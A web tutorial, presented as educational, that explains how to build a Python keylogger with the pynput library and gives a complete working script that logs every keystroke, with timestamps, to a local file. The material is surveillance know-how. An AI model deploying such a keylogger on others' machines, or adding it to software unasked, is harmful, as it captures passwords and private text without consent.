In this tutorial, you will learn how to create a keylogger in Python. In case you are not aware, a keylogger is a program that monitors keystrokes. A keylogger program’s basic functionality is to monitor keystrokes continuously and then deliver those keystrokes to a specific location that can be either an email, server or stored locally in the system.
Before designing our keylogger, please note that it is only for educational purposes. Please don’t use the script in this tutorial for any illegal purposes.

How To Create a Keylogger In Python
Step 1: To create our keylogger, we will use a Python library named pynput. This Python library lets you fully control and monitor keyboard and mouse inputs.
Currently, it supports mouse and keyboard input devices and has the following sub-packages:
- pynput.mouse – This package includes all the classes to control and monitor a mouse or trackpad.
- pynput.keyboard – This package contains all the classes to work with the keyboard.
To learn more about this library, you can check out its documentation.
Install the pynput library using the
pip install pynputcommand.
Step 2: Now that we have installed the required Python library, let’s import all the required packages.
from pynput.keyboard import Key, Listener import logging
Step 3: In this step, we will specify the path to storing the log file. This log file will include all the monitored keystrokes in the format specified.
log_dir = r"C:/users/himanshu/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
Now, we will call the on_press() function, which takes keys as parameters.
def on_press(key): logging.info(str(key))
Step 4: In this final step, we will create a Listener instance, define the on_press() method, and join it with the main program thread.
with Listener(on_press=on_press) as listener: listener.join()
After completing all these steps, the final program should look like this, and you can execute this script.
import pynput from pynput.keyboard import Key, Listener import logging log_dir = r"C:/users/himanshu/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()

Step 5: To check the output of our keylogger program, type some random keys and open your log file.
In this tutorial, you learned how to create a keylogger in Python. Following the steps in this tutorial, you will design an active keylogger that will monitor all the keystrokes and store them in a log file. To stop monitoring the keystrokes, all you have to do is stop the program.
